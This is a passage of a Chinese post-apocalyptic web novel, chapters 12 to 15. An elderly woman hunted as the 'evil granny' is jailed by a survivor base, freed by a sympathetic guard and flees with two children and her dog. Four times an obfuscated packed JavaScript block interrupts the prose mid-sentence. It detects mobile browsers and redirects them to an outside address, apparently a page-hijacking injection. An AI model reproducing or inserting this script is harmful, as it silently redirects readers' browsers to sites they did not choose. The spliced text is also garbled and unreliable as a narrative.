而此时,躲在远处观望的幸存者,把这一切看得清清楚楚,他们看到王桂香再次爆发强大力量,重创精英猎杀小队,吓得魂飞魄散,赶紧拿起对讲机,把消息传递到每一个幸存者据点:“‘邪恶老奶’力量再次升级,重创数十人精英小队,摧毁装甲车,实力恐怖至极!所有幸存者立即撤离,切勿靠近,各据点永久封锁,严防‘邪恶老奶’入侵!”
从此,“邪恶老奶”的传说,彻底登顶,成了末世里最恐怖的存在,比邪祟还要让人恐惧,所有幸存者据点,都贴上了她的画像,全城通缉,一旦发现,格杀勿论。
王桂香抱着两个孩子,坐在狼藉的院子里,哭了很久,直到眼泪流干,她才慢慢站起身,强忍着疼痛,捡起地上的柴刀,背好帆布包,拉着乐乐和妞妞的手,带着大黄,默默离开了这个废弃村庄。
她知道,这里不能再待了,她必须赶紧走,去省城,找小宝,只有找到孙子,她才有活下去的意义,才有洗清冤屈的希望。她的脚步越来越沉重,身上的伤口越来越疼,可她的眼神,却越来越坚定,哪怕被全人类误会,哪怕前路全是杀机,她也绝不回头。
离开废弃村庄后,王桂香身上的伤口因为没有药物处理,开始发炎红肿,每走一步都疼得钻心,脸色苍白如纸,脚步虚浮,可她依旧咬牙坚持,不敢有丝毫停歇。她知道,自己一旦停下,就再也走不动了,两个孩子和大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509481|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黄,就会陷入危险。
乐乐和妞妞懂事,看着王桂香难受的样子,主动搀扶着她,小小的身子用尽全身力气,陪着她慢慢往前走,妞妞还会时不时用小手给王桂香擦去脸上的汗水,轻声说着“奶奶慢点走”,两个孩子的陪伴,成了王桂香坚持下去的唯一动力。
大黄依旧走在最前方,时不时回头看看王桂香,遇到难走的路,就停下来等她,遇到水源,就领着她过去,这条老狗,用自己的方式,默默守护着这个小小的队伍。
一路上,王桂香彻底避开了所有有人迹的地方,专挑荒无人烟的野路走,穿过一片片荒地,越过一座座小树林,饿了就摘野果子、挖野菜,渴了就喝河沟里的凉水,日子过得无比艰难,可她从没有抱怨过,只是一心想着快点到省城。
这天下午,天空阴沉沉的,像是要下雨,王桂香带着孩子们,走到一处山谷边缘,远远望去,山谷里竟然有一座大型的幸存者基地,基地四周建着高高的围墙,围墙上布满了铁丝网和瞭望塔,门口有守卫站岗,戒备森严,时不时有幸存者进出,看起来规模很大,也很安全。
王桂香心里一动,她身上的伤口发炎越来越严重,发烧头疼,浑身无力,再这样下去,她肯定撑不到省城,两个孩子也跟着她受苦,她想进基地里,找点消炎药,给孩子们找点吃的,顺便问问有没有人见过小宝,打听一下省城的路线。
可她又犹豫了,她现在是全基地通缉的“邪恶老奶”,只要一露面,肯定会被守卫抓住,甚至直接斩杀,进去就是自投罗网。可看着自己越来越差的身体,看着孩子们面黄肌瘦的样子,她又别无选择,只能赌一把。
她想了想,把乐乐和妞妞带到山谷里的一处隐蔽山洞,叮嘱道:“乐乐,你带着妞妞在这里待着,千万别出来,奶奶去前面的基地里找点药和吃的,很快就回来,不管看到什么,都别出声,等奶奶回来接你们,知道吗?”
“奶奶,我跟你一起去,我能保护你!”乐乐说道,眼神坚定。
“不行,基地里很危险,你带着妞妞在这里最安全,奶奶很快就回来,听话。”王桂香摸了摸乐乐的头,又把大黄留在山洞里,让它保护两个孩子,这才独自一个人,慢慢朝着基地的方向走去。
她特意找了一件破旧的外套,裹住自己,压低帽子,遮住脸,尽量让自己看起来普通一些,低着头,混在进出基地的幸存者中间,慢慢朝着基地门口靠近。
基地门口的守卫十分严格,挨个检查进出人员,排查身份,防止感染者和“危险分子”进入,守卫手里拿着武器,眼神警惕,仔细打量着每一个人。
王桂香心里紧张,手心全是汗,低着头,加快脚步,想趁着守卫不注意,悄悄混进去。可她刚走到门口,就被守卫拦了下来。
12. 第 12 章
“站住,出示身份牌,接受检查!”守卫冷声说道,眼神上下打量着王桂香,觉得她有些眼熟。
王桂香心里一慌,她没有身份牌,根本进不去,只能低着头,小声说道:“俺……俺没有身份牌,俺就是想进去找点药,俺身上受伤了,还有两个孩子在外面等着,求你们行行好,让俺进去吧。”
“没有身份牌,不能进!赶紧离开!”守卫厉声说道,伸手就要推她。
就在这时,另一名守卫盯着王桂香,突然脸色大变,指着她,对着身边的守卫大喊:“是她!是‘邪恶老奶’!墙上的画像就是她!快!抓住她!”
这句话一出,门口的守卫瞬间警觉起来,全都拿起武器,对准王桂香,周围的幸存者吓得四散奔逃,大喊着“邪恶老奶来了”,场面瞬间混乱。
王桂香心里一沉,知道自己被认出来了,她想转身跑,可已经晚了,守卫们围了上来,把她团团围住,手里的武器对准她,根本跑不掉。
“果然是你这个恶魔!竟敢闯我们基地,真是胆大包天!”守卫队长走了出来,眼神凶狠,看着王桂香,“你残害幸存者,挟持幼童,重创猎杀小队,我们找你很久了,今天终于抓到你了!”
“俺没有!俺真的没有!俺只是来找药的,俺的孩子在外面等着俺,俺没有害过人!”王桂香拼命解释,可没人听她的,守卫们根本不信,只认画像,只认传说。
“还敢狡辩!把她抓起来,关进地牢,等总部下令,就地正法!”守卫队长一声令下,两名守卫立马冲上来,用铁链锁住王桂香的双手,拖着她往基地里走。
王桂香挣扎着,哭喊着,说自己是冤枉的,说自己要找孙子,说自己的孩子还在外面等她,可守卫们根本不听,拖着她,穿过基地的街道,往地牢的方向走去。
基地里的幸存者看到她,全都对着她指指点点,扔东西,骂她恶魔、老妖婆,眼神里满是仇恨和恐惧,那些不堪入耳的话,让王桂香心如刀割,她看着眼前这些和自己一样的幸存者,心里满是绝望,为什么就没有人愿意相信她?为什么所有人都要把她当成敌人?
她被关进了地牢,地牢阴暗潮湿,满是霉味和血腥味,铁链紧紧锁着她的双手,勒得她手腕生疼,身上的伤口发炎更严重了,发烧头疼,浑身发冷,她蜷缩在角落里,想着山洞里的乐乐和妞妞,想着大黄,想着小宝,眼泪无声地滑落。
她怕自己死在这里,怕孩子们等不到她,怕自己永远洗不清冤屈,永远见不到小宝。
而此时,基地的负责人收到消息,立马召开紧急会议,所有人都一致决定,要当众斩杀王桂香,以儆效尤,安抚幸存者的情绪,同时通知各个据点,“邪恶老奶”已被抓获,即将处决。
消息很快传遍了所有幸存者据点,所有人都欢呼雀跃,觉得终于除掉了心头大患,却从没有人想过,这个被他们关在地牢、即将处死的老太太,只是一个想找孙子、满身冤屈的普通老人。
地牢里,王桂香蜷缩在角落,意识渐渐模糊,发烧越来越严重,可她嘴里依旧不停念叨着:“小宝……奶奶来找你了……俺是冤枉的……乐乐……妞妞……等着奶奶……”
她不知道,山洞里的乐乐和妞妞,等了很久都没等到她回来,心里十分害怕,大黄带着他们,悄悄朝着基地的方向走来,想要找她,可基地戒备森严,他们根本进不去,只能躲在外面,不停哭喊着“奶奶”,声音撕心裂肺。
大黄对着基地狂吠,想要冲进去,却被守卫开枪阻拦,只能守在基地门口,不停哀嚎,两个孩子坐在地上,哭得声嘶力竭,盼着奶奶能出来。
王桂香在地牢里,隐约听到了孩子的哭声和大黄的哀嚎,心里一阵绞痛,她想出去,想回到孩子身边,可她被铁链锁着,根本动弹不得,只能任由眼泪滑落,陷入深深的绝望之中。
她以为,自己的生命,就要在这里结束了,她的寻孙路,走到了尽头,满身的冤屈,再也无法洗清。可她不知道,命运的转折,正在悄悄来临,一直躲在暗处观察她的人,终于要出现,她的冤屈,也即将有被揭开的可能。
地牢里的阴冷潮湿,一点点侵蚀着王桂香的身体,高烧让她意识昏沉,时而清醒,时而模糊,清醒的时候,就想着山洞里的乐乐、妞妞和大黄,想着远在省城的小宝,模糊的时候,就梦见老伴儿,梦见小宝小时候围着她撒娇的样子,梦见王家坳的院子,梦见丝瓜藤和老母鸡。
铁链死死锁着她的手腕,伤口发炎化脓,疼得她浑身抽搐,可她连抬手擦眼泪的力气都没有,只能蜷缩在冰冷的地面上,嘴里反复念叨着家人的名字,那是她支撑着不倒下的最后一丝信念。她不甘心,不甘心就这么背着满身冤屈死去,不甘心没见到小宝最后一面,不甘心让孩子们独自在末世里流浪。
基地里,处决“邪恶老奶”的消息已经传遍各个角落,幸存者们奔走相告,个个拍手称快,纷纷要求公开处决,亲眼看着这个“恶魔”被处死,以解心头之恨。基地负责人敲定了处决时间,就在第二天正午,在基地中心的广场上,当众行刑,还要通知所有周边据点的幸存者前来观看,杀鸡儆猴。
守卫们每天只给她一点发霉的干粮和浑浊的水,根本不管她的死活,看着她的眼神,满是厌恶和仇恨,时不时还会打骂她,骂她心狠手辣,骂她带来灾难,王桂香从不反驳,只是默默忍受,她知道,辩解没用,在这些人眼里,她做什么都是错的。
而基地外面,乐乐和妞妞已经守在基地门口两天了,两个孩子又饿又渴,小脸蜡黄,眼睛哭肿得像核桃,每天坐在地上,对着基地大门哭喊“奶奶”,声音越来越微
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509482|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弱。大黄寸步不离地守着他们,时不时对着大门狂吠,试图引起里面的注意,可守卫们非但不理会,还一次次驱赶他们,开枪恐吓,若不是大黄护着,两个孩子早就被赶走,甚至遭遇不测了。
偶尔有好心的幸存者,看着两个孩子可怜,偷偷扔点吃的和水过来,可一听到他们是“邪恶老奶”的孩子,立马又变了脸色,赶紧走开,生怕被牵连。两个孩子不懂什么是冤屈,只知道奶奶是好人,奶奶在里面受苦,他们要等着奶奶出来。
这天夜里,地牢里一片漆黑,只有墙角一盏昏暗的油灯,王桂香再次从昏迷中醒来,高烧稍稍退了一点,意识清醒了许多。她听到地牢门口传来轻微的脚步声,很轻,很谨慎,不像是守卫的脚步声。
她以为是守卫来打骂她,闭着眼,懒得理会,可脚步声越来越近,停在了她的牢门前,一个低沉的男声,轻轻响起,声音压得很低,带着一丝谨慎:“王桂香大娘?你醒着吗?”
王桂香愣了一下,睁开眼,朝着牢门外看去,昏暗的灯光下,站着一个穿着守卫服装的男人,身材中等,脸上戴着口罩,遮住了大半张脸,只露出一双眼睛,眼神里没有厌恶和仇恨,反而带着一丝同情和愧疚。
“你是谁?”王桂香虚弱地问道,声音沙哑得几乎听不清。
“大娘,你别害怕,我不是来害你的,我是来救你的。”男人压低声音说道,快速看了看四周,确认没有其他守卫,才从口袋里掏出钥匙,打开牢门,慢慢走了进来,“我观察你很久了,从你在国道上救那个小男孩开始,我就一直在看着你,我知道,你是被冤枉的,你不是什么‘邪恶老奶’,你只是一个找孙子的老太太。”
这句话,像一道光,照进了王桂香灰暗的心里,她积攒了这么久的委屈,瞬间爆发出来,眼泪止不住地往下掉,她看着眼前的男人,不敢相信自己的耳朵,终于有人相信她了,终于有人知道她是冤枉的了。
“你……你真的相信俺?俺没有害过人,俺只是想找孙子,俺只是想保护孩子……”王桂香哽咽着说道,声音颤抖。
“我信,我全都看到了。”男人点了点头,眼神里满是愧疚,“我是基地里的守卫,之前在国道上,我就在远处的高楼里,拿着望远镜,看到你救了乐乐,看到那对夫妻恩将仇报,你是自保才杀了他们,后来猎杀小队围杀你,你也是为了保护孩子,才爆发力量,还有那个小女孩妞妞,是你救了她,不是你挟持她,所有的一切,我都看在眼里。”
男人顿了顿,继续说道:“我叫陈峰,之前也是普通的幸存者,家人都被邪祟害死了,来到这个基地当守卫,我看不惯他们不分青红皂白就冤枉你,看不惯他们把一个善良的老人当成恶魔,可我一个人力量太小,不敢站出来帮你,只能一直躲在暗处观察,等着机会救你出去。”
13. 第 13 章
“他们之所以把你传得那么恐怖,一是因为你那股不受控制的力量,他们害怕,就把你妖魔化,二是因为基地负责人想借着杀你,树立威信,让所有幸存者都听他的,把你当成靶子,转移大家对末世苦难的注意力。”
王桂香听着陈峰的话,心里豁然开朗,这么久的委屈和疑惑,终于有了答案,原来不是她的错,是有人故意把她妖魔化,是有人想利用她,巩固自己的地位。
“陈同志,谢谢你,谢谢你相信俺……”王桂香哭着说道,心里满是感激,在这绝望的境地,终于有人站出来,为她说话,救她出去。
“大娘,别说这些了,我现在就救你出去,你的两个孩子和大黄,还在基地外面等着你,他们快撑不住了,你必须赶紧出去。”陈峰说道,快速解开王桂香身上的铁链,扶着她慢慢站起身,“我给你准备了药和吃的,还有水,你先吃点东西,吃点药,我带你从基地的密道走,密道直通山谷,不会被守卫发现。”
王桂香浑身无力,靠在陈峰身上,慢慢吃了点干粮,喝了点水,又吃了陈峰带来的消炎药,身体稍稍有了点力气。她看着陈峰,心里满是感激,若不是他,她明天就要被当众处决,永远见不到孩子和小宝了。
“陈同志,俺这辈子都忘不了你的恩情,等俺找到孙子,一定好好报答你。”王桂香说道。
“大娘,不用报答我,我只是做了该做的事,末世之下,不能丢了良心。”陈峰摇了摇头,扶着王桂香,小心翼翼地走出地牢,沿着阴暗的走廊,朝着密道的方向走去。
一路上,陈峰格外谨慎,避开巡逻的守卫,带着王桂香穿过基地的角落,终于来到一处隐蔽的密道入口,打开密道的门,说道:“大娘,你从这里走,一直往前走,就能到山谷里,你的孩子就在那里等着,你赶紧走,别回头,去省城找你的孙子,以后别再靠近任何幸存者基地了,他们不会放过你的。”
“陈同志,你跟俺一起走吧,你救了俺,他们发现了,不会放过你的。”王桂香担忧地说道。
“我不能走,我走了,他们会追查到底,到时候还是会找到你,我留下来,假装什么都不知道,你放心,我没事的。”陈峰笑了笑,把准备好的干粮和水塞到王桂香手里,“快走吧,孩子还在等你。”
王桂香看着陈峰,眼泪再次掉下来,对着他深深鞠了一躬,不再犹豫,转身走进密道,朝着山谷的方向走去。
密道很长,阴暗潮湿,王桂香靠着心里的信念,一步步往前走,走了约莫一个小时,终于走出密道,来到山谷里。
远远地,她就看到了乐乐和妞妞,两个孩子坐在地上,靠着大黄,昏昏欲睡,听到动静,立马抬起头,看到王桂香,瞬间眼睛亮了起来,哭喊着“奶奶”,朝着她跑过来。
大黄也立马冲了过来,围着王桂香摇尾巴,不停蹭着她。
王桂香快步走过去,紧紧抱着两个孩子,放声大哭,这么久的分离,这么久的苦难,在这一刻,全都烟消云散,她终于回到孩子身边了,终于活着出来了。
“奶奶,你可算出来了,我们好想你……”乐乐和妞妞抱着王桂香,哭着说道。
“奶奶也想你们,让你们受苦了,以后咱再也不分开了。”王桂香擦了擦孩子们的眼泪,抱着他们,看着大黄,心里满是暖意。
她知道,基地很快就会发现她逃走了,会派人追杀她,她不能在这里久留,必须赶紧走,去省城,找小宝。
她拉着两个孩子的手,带着大黄,朝着省城的方向,再次踏上征程。这一次,她不再是满身冤屈、无人相信的孤独老人,她有孩子,有大黄,还有相信她的陈峰,她的心里,重新燃起了希望。
而她不知道的是,陈峰在她走后,悄悄把她是被冤枉的真相,传递给了一些心存善意的幸存者,真相的种子,已经悄悄埋下,“邪恶老奶”的传说,终将被揭开,她的冤屈,终有洗清的一天。
前方的路,依旧漫长,危机四伏,可王桂香的眼神,无比坚定,她知道,小宝就在省城等着她,一家人团聚的日子,越来越近了。
密道里的霉味还粘在衣领上,王桂香抱着乐乐和妞妞,指尖都在发颤。走出出口的那一刻,山间的风灌进来,带着草木的涩味和一丝若有若无的潮气,她下意识裹了裹身上那件破了好几个洞的外套,低头看着两个小脸蜡黄的孩子,心里像被钝刀子割了一下——这两天,孩子们该是受了多少苦。
大黄凑过来,用脑袋蹭了蹭她的手背,尾巴轻轻扫着地面,眼神里满是依赖。王桂香伸手摸了摸大黄的头,粗糙的掌心触到它温热的皮毛,心里稍稍安定了些。
“走,咱先离开这儿。”她声音沙哑,带着刚从地牢里出来的疲惫,却还是挺直了脊背,“基地的人发现咱跑了,肯定会追过来,不能在这久留。”
陈峰说的密道出口藏在山谷西侧的乱石堆后,周围全是半人高的野草,风一吹,草叶沙沙作响,像有人在暗处低语。王桂香不敢耽搁,拉着两个孩子的手,又把帆布包往肩上紧了紧,包里装着陈峰给的干粮、消炎药和半壶水,是她现在全部的家当。
她选了一条最偏僻的野路,不是朝着省城的主方向,而是先往西南走,绕开基地可能巡逻的路线。这条路比国道更难走,全是碎石和杂草,脚下的石头滑溜溜的,稍不注意就会崴脚。王桂香年纪大了,身上的伤口还在隐隐作痛,每走一步,脚踝就像被针扎一样,可她不敢停,只能一步一步挪着,眼睛时刻盯着周围的动静,生怕突然窜出邪祟,或者遇上追来的守卫。
乐乐和妞妞倒是很懂事,紧紧跟着她的脚步,小步子迈得飞快,哪怕鞋子里进了石子,也只是咬着牙揉一揉,从不说累。妞妞走累了,就会小声喊:“奶奶,我能走,你慢点。”乐乐则会主动帮她拎着那个装着干粮的布袋子,减轻她的负担。
“慢点走,咱不急。”王桂香看着孩子们通红的小脸,心里发酸,找了一块相对平整的石头,让他们坐下休息,“咱先歇十分钟,吃点东西,再接着走。”
她从帆布包里掏出一块干硬的窝头,是陈峰给的,比她之前吃的要细腻些。她掰了小半块,递给乐乐和妞妞,自己留了更小的一块。窝头硬得像石头,咬一口,硌得牙生疼,还噎得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509483|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嗓子发干,王桂香赶紧喝了一口凉水,才勉强咽下去。
两个孩子小口小口地吃着,眼睛却时不时瞟向远处的山路,满是担忧。“奶奶,那些人会追过来吗?”乐乐小声问,手里的窝头捏得紧紧的。
“不会的。”王桂香强作镇定,摸了摸他的头,“陈同志会帮我们挡着,那些人找不到咱的。等咱到了省城,找到小宝,就安全了。”
话虽这么说,她心里却没底。基地是个大地方,她逃走的消息一旦传开,四面八方的守卫都会找过来,她带着两个孩子,又没有像样的武器,根本躲不过那些人的搜查。可她不能说,不能让孩子们更害怕。
休息了十分钟,王桂香重新背起包,拉着孩子们继续上路。太阳渐渐偏西,把影子拉得老长,山间的光线慢慢暗了下来,风也变得凉了起来,吹在身上,让人打哆嗦。
路边的树林里,偶尔传来几声邪祟特有的“嗬嗬”怪声,还有树枝断裂的脆响。大黄立马警觉起来,毛发竖起,对着树林方向低低低吼,时不时回头看看王桂香,示意她小心。
王桂香握紧了手里的柴刀,那是陈峰偷偷给她的,刀刃不算锋利,但聊胜于无。她放慢脚步,眼睛死死盯着树林的方向,直到确认没有邪祟窜出来,才继续往前走。
走了大概一个多小时,天色彻底暗了下来。山间的夜格外黑,没有月亮,也没有星星,只有远处偶尔传来的虫鸣和邪祟的怪响。王桂香拿出陈峰给的手电筒,那是一个老式的手电,光线不算强,只能照出一两米远,却也能勉强看清脚下的路。
她找了一处背风的山坳,旁边有一块巨大的岩石,能挡住大部分的风。“今晚就在这儿过夜吧。”她说道,声音里满是疲惫,“咱把石头周围的草扒一扒,铺在地上,能暖和点。”
乐乐和妞妞点点头,跟着她一起动手,把周围的枯草扒到一起,铺成一个小小的“床”。王桂香又从包里掏出一块干粮,分成三份,给孩子们和大黄各一份,自己只吃了一点点。大黄吃完,趴在岩石边,脑袋枕在爪子上,眼睛却始终睁着,警惕地盯着四周。
王桂香坐在草铺上,把两个孩子搂在怀里,用外套裹住他们。孩子们太累了,很快就发出了均匀的呼吸声,妞妞还在睡梦中嘟囔了一句“奶奶”,乐乐则紧紧抱着她的胳膊,像个小尾巴一样。
王桂香看着孩子们熟睡的小脸,眼泪悄悄掉了下来。她想起了地牢里的日子,阴暗、潮湿,每天只有一点点发霉的干粮,守卫的打骂和厌恶的眼神,像电影一样在脑子里过了一遍。她又想起了陈峰,那个躲在暗处的守卫,是他给了她药,给了她吃的,也是他偷偷打开牢门,救了她出来。若不是陈峰,她现在早就成了广场上的“处决品”,再也见不到孩子们了。
“陈同志,谢谢你。”她在心里默默念叨,擦了擦眼泪,“等俺找到小宝,一定报答你。”
夜渐渐深了,山风更凉了,吹过岩石,发出呜呜的声响,像有人在哭泣。王桂香不敢睡得太沉,每隔一会儿就醒一次,摸摸孩子们的额头,看看有没有发烧,听听四周的动静,有没有邪祟或者人的脚步声。
14. 第 14 章
直到天快亮的时候,她才迷迷糊糊睡了一会儿,醒来时,太阳已经透过树林,洒下了一点点微光。大黄还趴在岩石边,看到她醒了,轻轻摇了摇尾巴。
王桂香叫醒孩子们,简单吃了点干粮,喝了口水,就继续上路。这一次,她朝着东南方向走,慢慢朝着省城的主路靠拢。
路上的人越来越少,偶尔能看到几个废弃的村落,和王家坳一样,静悄悄的,房屋东倒西歪,院子里长满了杂草,还有零星的血迹和邪祟的脚印。王桂香不敢靠近,只是远远绕开。
走了大概两个小时,她终于走到了一条乡间小路上,这条路连着国道,虽然偏僻,但至少比野路好走。她心里一喜,拉着孩子们加快了脚步。
可就在这时,远处传来了汽车的轰鸣声,还有人的说话声。王桂香心里一紧,立马拉着孩子们躲到路边的草丛里,大黄也躲了进来,对着草丛外低低低吼。
她扒开草叶,往外看去——只见三辆越野车沿着小路开了过来,车上坐着几个穿着基地守卫服装的人,手里拿着武器,正探头探脑地往路边看。为首的那辆车,车窗半开,露出一张熟悉的脸,正是之前地牢里那个骂她“恶魔”的守卫队长。
“给我仔细找!”守卫队长的声音传了过来,带着凶狠,“那老妖婆肯定带着两个孩子,跑不远!找到她,就地正法,谁也别手软!”
“是!”车上的其他人齐声应道。
三辆越野车慢慢停下,车上的守卫们纷纷下来,分成几队,朝着四周的草丛和村落搜索过去。
王桂香的心瞬间提到了嗓子眼,她紧紧捂住乐乐和妞妞的嘴,不让他们发出声音,自己也屏住了呼吸,身体贴在草丛里,一动不敢动。大黄趴在她身边,毛发竖起,对着守卫的方向低低呜咽,却也不敢叫出声。
守卫们离他们越来越近,脚步声清晰可闻,还有人喊:“这边没找到!去那边看看!”
王桂香感觉自己的心跳快得要炸开,身上的伤口因为紧张,疼得厉害。她看着孩子们惊恐的小脸,心里只有一个念头:不能被发现,绝对不能被发现!
就在一个守卫走到离他们只有几米远的草丛边时,大黄突然对着不远处的一只野鸡叫了一声,声音不大,却在寂静的清晨格外清晰。
那个守卫立马警觉起来,举起手里的武器,对着草丛大喊:“谁在里面?出来!”
王桂香浑身冰凉,紧紧抱着孩子们,做好了冲出去的准备。可就在这时,远处传来了另一个守卫的声音:“队长!这边发现了脚印!是新鲜的!往国道方向去了!”
守卫队长立马喊道:“别管这边了!赶紧追!别让她跑了!”
那个原本靠近草丛的守卫,也立马跟着大部队跑了过去,脚步声渐渐远去。
王桂香直到听不见动静了,才缓缓松开手,大口大口地喘着气,浑身的衣服都被汗水湿透了。乐乐和妞妞吓得脸色惨白,紧紧抱着她,眼泪在眼眶里打转。
“没事了,没事了。”王桂香轻轻拍着孩子们的背,声音颤抖,“咱走,赶紧走,从国道绕过去,别再走这条小路了。”
她拉着孩子们,快速穿过草丛,沿着小路朝着国道的方向跑去。跑了大概十几分钟,终于看到了国道的入口,那一条熟悉的、满是废弃车辆的路,就在眼前。
可就在她准备拐进国道的时候,国道上突然传来了一声枪响,紧接着,是守卫的喊叫声:“她在那边!抓住她!”
王桂香回头一看,只见十几个守卫正沿着国道追过来,为首的正是守卫队长,手里的手枪对准了她的方向。
“跑!”王桂香大喊一声,拉着乐乐和妞妞,转身朝着国道旁边的树林里钻去。
大黄立马冲在前面,对着守卫们狂吠,试图吸引他们的注意力,给王桂香和孩子们争取逃跑的时间。
“那只狗!先打死它!”守卫队长大喊道。
又是一声枪响,大黄猛地踉跄了一下,肩膀上渗出了鲜血。它回头看了一眼王桂香,发出一声低沉的哀嚎,然后转身,对着守卫们扑了过去。
“大黄!”王桂香大喊一声,眼泪瞬间掉了下来。
她想冲回去救大黄,可乐乐和妞妞死死拉着她的衣服,哭着说:“奶奶,别去!奶奶救大黄!”
树林里的树枝刮破了她们的衣服,脸上也被划了好几道血痕,可王桂香不敢停下,只能咬着牙,拉着孩子们,朝着树林深处跑去。身后的枪声和喊叫声越来越远,大黄的哀嚎声也渐渐消失了。
王桂香跑了大概一个多小时,直到再也跑不动了,才扶着一棵大树,慢慢停下脚步,大口大口地喘着气。乐乐和妞妞也累得瘫坐在地上,小脸通红,眼泪不停地掉。
“大黄……”王桂香看着空荡荡的树林,眼泪止不住地往下流,肩膀不停颤抖,“大黄它……它是不是……”
她不敢想下去,大黄是陪了她十年的老狗,是她在末世里最亲的伴,它为了保护她和孩子们,引开了守卫,说不定已经……
“奶奶,大黄会没事的。”乐乐拉着她的手,小声说道,眼睛也红红的,“它那么厉害,一定不会有事的。”
妞妞也点了点头,抽抽搭搭地说:“大黄会回来找我们的。”
王桂香抱着两个孩子,蹲在地上,放声大哭。她觉得自己好没用,连一条老狗都保护不好,连孩子们都跟着她受苦,她这个奶奶,当得太失败了。
哭了很久,直到眼泪流干了,她才慢慢平静下来。她知道,哭解决不了问题,现在最重要的是带着孩子们继续走,找到小宝,也希望大黄能平安无事,早点追上他们。
她擦了擦眼泪,扶起孩子们,背好帆布包,继续朝着省城的方向走去。这一次,她的脚步更沉重了,心里也更坚定了——不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509484|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
管遇到什么危险,不管付出什么代价,她都要找到小宝,给孩子们一个家。
国道上的废弃车辆越来越多,景象也越来越惨烈。有的车里,还躺着腐烂的尸体,有的是被邪祟咬伤的,有的是被车祸撞死的,尸体上爬满了苍蝇,散发着浓烈的恶臭。王桂香拉着孩子们,尽量绕开这些车辆,沿着路边的沟沿走。
路上偶尔会遇到邪祟,它们漫无目的地挪动着,灰白的眼睛死死盯着他们,发出“嗬嗬”的怪声。王桂香握紧柴刀,拉着孩子们快速躲开,能不冲突就不冲突。她现在满身伤痕,又带着两个孩子,根本经不起任何打斗。
走了大概一下午,太阳渐渐西斜,天色又暗了下来。王桂香找了一处废弃的小木屋,木屋虽然破旧,但门窗还算完整,能遮风挡雨。她把孩子们带进屋,用木棍顶住门,这才松了口气。
她从包里掏出最后一点干粮,分给孩子们,自己则靠在墙角,看着窗外漆黑的夜色。心里默默念叨着大黄的名字,希望它能平安无事,希望它能找到他们。
夜渐渐深了,孩子们都睡着了,王桂香却毫无睡意。她听着窗外偶尔传来的邪祟怪声,还有远处隐约的守卫喊叫声,心里满是不安。她知道,这只是开始,后面的路,只会更难走,更危险。
可她别无选择,只能往前走。她的小宝就在省城等着她,她不能回头,也不敢回头。
第二天清晨,第一缕微光透过木屋的缝隙照进来,王桂香才缓缓睁开眼睛。浑身酸痛得厉害,尤其是肩膀和后背,像是被重物压过,一动就疼。她慢慢坐起身,看着角落里熟睡的乐乐和妞妞,心里稍稍安定了些。
两个孩子睡得很沉,小脸依旧有些蜡黄,却比昨天精神了些。王桂香轻轻帮他们擦了擦脸上的灰尘,又理了理凌乱的头发,动作轻柔得不像话。
大黄的事,像一根刺,扎在她心里,拔不出来。她走到木屋门口,扒开缝隙往外看,外面静悄悄的,没有大黄的身影,也没有守卫的动静。她心里一阵发酸,大黄可能真的出事了,也可能是跑远了,暂时找不到他们。
“大黄,你在哪?”她在心里默默念叨,眼眶又红了。
她深吸一口气,压下心里的难过,转身走到木屋角落,找了一些干净的枯草,铺在地上,又从包里掏出一点点凉水,给孩子们擦了擦脸。然后,她拿出最后一点干粮,分成三份,给孩子们和自己各一份。
干粮硬得像石头,王桂香咬了一小口,噎得嗓子发干,她赶紧喝了一口凉水,才勉强咽下去。乐乐和妞妞小口小口地吃着,吃得很认真,没有说话。
吃完东西,王桂香叫醒孩子们,准备继续上路。她看了看天色,太阳已经升得很高了,今天必须多走一些路,离省城再近一些。
“走之前,咱先把木屋周围看看,有没有能吃的野菜或者野果子,咱的干粮快没了。”王桂香说道。
15. 第 15 章
两个孩子点点头,跟着她一起走出木屋。木屋周围是一片荒地,长着不少野草,还有一些野果树,上面结着小小的果子,颜色通红,看着像是野山楂。
